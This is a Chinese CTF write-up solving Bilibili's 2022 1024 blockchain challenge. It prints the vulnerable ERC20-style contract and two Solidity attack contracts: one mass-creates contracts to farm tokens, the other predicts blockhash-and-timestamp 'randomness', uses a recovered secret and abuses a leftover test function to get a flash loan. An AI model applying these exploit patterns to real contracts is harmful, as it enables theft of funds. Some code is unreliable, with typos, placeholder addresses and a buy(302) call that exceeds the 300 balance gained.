2022哔哩哔哩 1024程序员节 T4 区块链详解,这次题目使用了两种方法,都可以顺利拿到flag
本次题目的地址为sepolia@0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA
这一次1024程序员节中有区块链相关的题目,作为今年才开始起步区块链的小萌新,这一题也是整整看了一整个周末才做出来,不过做出来之后也是相当的具有成就感滴:),话不多说,我们现在就来看一看如何做出这一题.
先上合约源码↓↓↓↓↓↓
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
pragma solidity 0.8.12;
import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
//import "@openzeppelin/contracts/utils/Context.sol";
struct Coupon {
uint loankey;
uint256 amount;
address buser;
bytes reason;
}
struct Signature {
uint8 v;
bytes32[2] rs;
}
struct SignCoupon {
Coupon coupon;
Signature signature;
}
contract MyToken is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => uint) public _ebalances;
mapping(address => uint) public ethbalances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint) public _profited;
mapping(address => uint) public _auth_one;
mapping(address => uint) public _authd;
mapping(address => uint) public _loand;
mapping(address => uint) public _flag;
mapping(address => uint) public _depositd;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address owner;
address backup;
uint secret;
uint tokenprice;
Coupon public c;
address public lala;
address public xixi;
//mid = bilibili uid
//b64email = base64(your email address)
//Don't leak your bilibili uid
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string mid, string b64email);
event changeprice(uint secret_);
constructor(string memory name_, string memory symbol_, uint secret_) {
_name = name_;
_symbol = symbol_;
owner = msg.sender;
backup = msg.sender;
tokenprice = 6;
secret = secret_;
_mint(owner, 2233102400);
}
modifier onlyowner() {
require(msg.sender == owner);
_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function deposit() public {
require(_depositd[msg.sender] == 0, "you can only deposit once");
_depositd[msg.sender] = 1;
ethbalances[msg.sender] += 1;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
function setbackup() public onlyowner {
owner = backup;
}
function ownerbackdoor() public {
require(msg.sender == owner);
_mint(owner, 1000);
}
function auth1(uint pass_) public {
require(pass_ == secret, "auth fail");
require(_authd[msg.sender] == 0, "already authd");
_auth_one[msg.sender] += 1;
_authd[msg.sender] += 1;
}
function auth2(uint pass_) public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
require(pass == pass_, "password error, auth fail");
require(_auth_one[msg.sender] == 1, "need pre auth");
require(_authd[msg.sender] == 1, "already authd");
_authd[msg.sender] += 1;
}
function payforflag(string memory mid, string memory b64email) public {
require(_flag[msg.sender] == 2);
emit sendflag(mid, b64email);
}
function flashloan(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 0, "loan key error");
require(msg.sender == address(this), "hacker get out");
Coupon memory coupon = scoupon.coupon;
Signature memory sig = scoupon.signature;
c=coupon;
require(_authd[scoupon.coupon.buser] == 2, "need pre auth");
require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");
require(scoupon.coupon.amount <= 300, "loan amount error");
_loand[scoupon.coupon.buser] = 1;
_ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
}
function profit() public {
require(_profited[msg.sender] == 0);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, 1);
}
function borrow(uint amount) public {
require(amount == 1);
require(_profited[msg.sender] <= 1);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, amount);
}
function buy(uint amount) public {
require(amount <= 300, "max buy count is 300");
uint price;
uint ethmount = _ebalances[msg.sender];
if (ethmount < 10) {
price = 1000000;
} else if (ethmount >= 10 && ethmount <= 233) {
price = 10000;
} else {
price = 1;
}
uint payment = amount * price;
require(payment <= ethmount);
_ebalances[msg.sender] -= payment;
_transfer(owner, msg.sender, amount);
}
function sale(uint amount) public {
require(_balances[msg.sender] >= amount, "fail to sale");
uint earn = amount * tokenprice;
_transfer(msg.sender, owner, amount);
_ebalances[msg.sender] += earn;
}
function withdraw() public {
require(ethbalances[msg.sender] >= 1);
require(_ebalances[msg.sender] >= 1812);
payable(msg.sender).call{value:100000000000000000 wei}("");
_ebalances[msg.sender] = 0;
_flag[msg.sender] += 1;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
// debug param secret
function get_secret() public view returns (uint) {
require(msg.sender == owner);
return secret;
}
// debug param tokenprice
function get_price() public view returns (uint) {
return tokenprice;
}
// test need to be delete
function testborrowtwice(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 2233);
MyToken(this).flashloan(scoupon);
}
// test need to be delete
function set_secret(uint secret_) public onlyowner {
secret = secret_;
emit changeprice(secret_);
}
}
这里我们注意到了一个函数payforflag
,很明显,我们需要调用这一个函数来获得我们的flag,那么调用这个函数的条件是什么呢?
function payforflag(string memory mid, string memory b64email) public {
require(_flag[msg.sender] == 2);
emit sendflag(mid, b64email);
}
我们需要_flag[msg.sender]
的值为2
接下来要做的就是寻找函数使_flag[msg.sender]
的值到2.
通过寻找,我们找到了withdraw
这个函数,而这个函数的执行需要满足两个条件,分别是ethbalances[msg.sender] >= 1
和_ebalances[msg.sender] >= 1812
.
function withdraw() public {
require(ethbalances[msg.sender] >= 1);
require(_ebalances[msg.sender] >= 1812);
payable(msg.sender).call{value:100000000000000000 wei}("");
_ebalances[msg.sender] = 0;
_flag[msg.sender] += 1;
}
先看第一个条件ethbalances[msg.sender] >= 1
,我们可以使用deposit
这个函数来令其满足
function deposit() public {
require(_depositd[msg.sender] == 0, "you can only deposit once");
_depositd[msg.sender] = 1;
ethbalances[msg.sender] += 1;
}
再看第二个条件_ebalances[msg.sender] >= 1812
,涉及到该变量的函数有profit
,borrow
,buy
,sale
function profit() public {
require(_profited[msg.sender] == 0);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, 1);
}
function borrow(uint amount) public {//获得1个_balances
require(amount == 1);
require(_profited[msg.sender] <= 1);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, amount);
}
function buy(uint amount) public {//通过出售_ebalances购买_balances
require(amount <= 300, "max buy count is 300");
uint price;
uint ethmount = _ebalances[msg.sender];
if (ethmount < 10) {
price = 1000000;
} else if (ethmount >= 10 && ethmount <= 233) {
price = 10000;
} else {
price = 1;
}
uint payment = amount * price;
require(payment <= ethmount);
_ebalances[msg.sender] -= payment;
_transfer(owner, msg.sender, amount);
}
function sale(uint amount) public {//通过出售_balances获得_ebalances
require(_balances[msg.sender] >= amount, "fail to sale");
uint earn = amount * tokenprice;
_transfer(msg.sender, owner, amount);
_ebalances[msg.sender] += earn;
}
我们看看profit
这个函数,只能运行一次,获得一个_balances
;而borrow
这个函数,一共可以执行两次获得两个_balances
.但是这两个函数都有_profited[msg.sender]
这个变量进行限制,也就是说,我们最多只能通过profit
或borrow
函数获得2个_balances
.
那么_balances
有什么用呢?看一看sale
函数,我们可以把_balances
卖掉得到_ebalances
,其中tokenprice
已经被定义为6了,所以_balances
与_ebalances
之间的兑换比例为1:6.
而buy
这个函数,只有当_ebalances
大于233时,_ebalances
与_balances
之间的兑换比例才是1:1.
仔细看看上面两段话,稍微思考一下就可以明白,只要我的_ebalances
比233要大,那么不就可以通过与_balances
互刷的方式不断增加我的_ebalances
从而满足条件2_ebalances[msg.sender] >= 1812
?!
这里我举个简单的例子,假设我现在有_ebalances
300个,那么我可以通过buy(300)
获得_balances
300个,随后在通过sale(300)
获得_ebalances
300*6=1800个,然后再重复上面的过程,那么我的_ebalances
不久可以源源不断的增加的吗~~~~
所以我们现在要做的可以是:
_ebalances
大于233个_balances
大于等于39个(因为获得39个以上的_balances
后,可以通过sale
函数获得的_ebalances
的数量是6*_balances
,即234个)在求解这一题的过程中,我想到了两种方法都可以来获得flag,接下来听我一一道来~~
我们知道每一个初始账号都可以固定获得2个_balances
,那么我们能否通过小号为大号通过transfer
方法发送_balances
的方法获得足够数量的_balances
呢?答案是可行的.
直接上代码!
先写一个拿两个_balances
并转给大号的合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "./ctf.sol";
contract mulcreate {
MyToken public mytoken;
constructor(address _MyTokenAddress) {
mytoken = MyToken(_MyTokenAddress);
}
receive() external payable {}
function onestep() public{
mytoken.borrow(1);
mytoken.borrow(1);
mytoken.transfer(adreess(你的主账户地址),2);
}
}
再写一个批量创建合约的合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "./create_contract.sol";
contract mulcreate_Factory {
mulcreate Mulcreate;
function create() external {
uint i = 0;
for(i=0;i<=20;i=i+1){
Mulcreate = new mulcreate(0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA);//这个地址就是题目合约的地址
Mulcreate.onestep();
}
}
}
通过调用第二个合约,给大号足够的_balances
启动资金,就可以开始刷_ebalances
拿flag咯~~
细心的同学在做这题的时候有没有发现这个函数flashloan
,可以直接给你增加300的_ebalances
!
function flashloan(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 0, "loan key error");
require(msg.sender == address(this), "hacker get out");
Coupon memory coupon = scoupon.coupon;
Signature memory sig = scoupon.signature;
c=coupon;
require(_authd[scoupon.coupon.buser] == 2, "need pre auth");
require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");
require(scoupon.coupon.amount <= 300, "loan amount error");
_loand[scoupon.coupon.buser] = 1;
_ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
}
不过直接编写攻击合约来调用这个函数肯定是不行滴,因为require(msg.sender == address(this), "hacker get out")
这一句的限制了,咋办嘞?
再找找看叭~~于是我们找到了一个调用flashloan
的函数testborrowtwice
,这不就正好可以满足上面的条件了吗~
function testborrowtwice(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 2233);
MyToken(this).flashloan(scoupon);
}
不过flashloan
内还有限制条件require(_authd[scoupon.coupon.buser] == 2, "need pre auth")
,就是说需要验证的意思,我们找找这两个验证函数auth1
和auth2
function auth1(uint pass_) public {
require(pass_ == secret, "auth fail");
require(_authd[msg.sender] == 0, "already authd");
_auth_one[msg.sender] += 1;
_authd[msg.sender] += 1;
}
function auth2(uint pass_) public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
require(pass == pass_, "password error, auth fail");
require(_auth_one[msg.sender] == 1, "need pre auth");
require(_authd[msg.sender] == 1, "already authd");
_authd[msg.sender] += 1;
}
对于auth1
,secret
不是直接在constructor
中有定义了嘛~直接看合约
NICE!一下子就找到了根本难不倒我们~
但是当你开开心心的把123456输进去的时候,结果发现居然没通过???
咋回事嘞
再找找看咯
于是你再源码中发现了这个set_secret
!没想到owner
还可以改secret!!
function set_secret(uint secret_) public onlyowner {
secret = secret_;
emit changeprice(secret_);
}
这个我们玩区块链的根本不慌滴,区块链的每一笔交易都是有记录的,我们直接去看最早的交易记录.
嘿嘿
这不就有了嘛~
看看这笔交易的信息
嘿嘿secret
就是0x154be90,转一下十进制就是22331024,还挺有寓意的嘛~
接下来就是搞auth2
的时候了
function auth2(uint pass_) public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
require(pass == pass_, "password error, auth fail");
require(_auth_one[msg.sender] == 1, "need pre auth");
require(_authd[msg.sender] == 1, "already authd");
_authd[msg.sender] += 1;
}
当我看到uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))
这个的时候,我瞬间乐开了花,这我可太熟悉不过了~
看看这篇文章Source of Randomness简直简直就是一个模子里刻出来的哇,
uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))
这玩意儿看着随机,其实是确定的!
接下来写个攻击合约就可以赚到大把大把的_balances
咯
直接上代码!
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "./ctf.sol";
contract Attack {
MyToken public mytoken;
constructor(address _MyTokenAddress) {//_MyTokenAddress是题目的合约地址
mytoken = MyToken(_MyTokenAddress);
}
receive() external payable {}
function attack() public{
mytoken.deposit();//满足ethbalances[msg.sender] >= 1
mytoken.borrow(1);
mytoken.borrow(1);//得到两个_balances
mytoken.auth1(22331024);//第一个验证
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
mytoken.auth2(answer);//第二个验证
SignCoupon memory scoupon;
scoupon.coupon.loankey=2233;
scoupon.coupon.amount=300;
scoupon.coupon.buser=address(this);
mytoken.testborrowtwice(scoupon);//获得_ebalances 300个
mytoken.buy(302);//用_ebalances去换_balances 302个
mytoken.transfer(adrress(你自己的账户地址),302);//给你的大号转账_balances 302个
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
至此,这第四题区块链的解答就到此结束了
说一说感受吧,每次做区块链的题目都感觉特别有意思,其实本人过去是学习逆向工程的 ,今年才开始接触区块链,解区块链题目的过程说实话,和逆向分析真的好像哇,都是一个逆向的过程,分析需要满足的条件,然后设法编写合约来让条件得到满足,最终满足所有需要的条件之后获得flag ,好玩好玩,嘿嘿(●ˇ∀ˇ●)
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!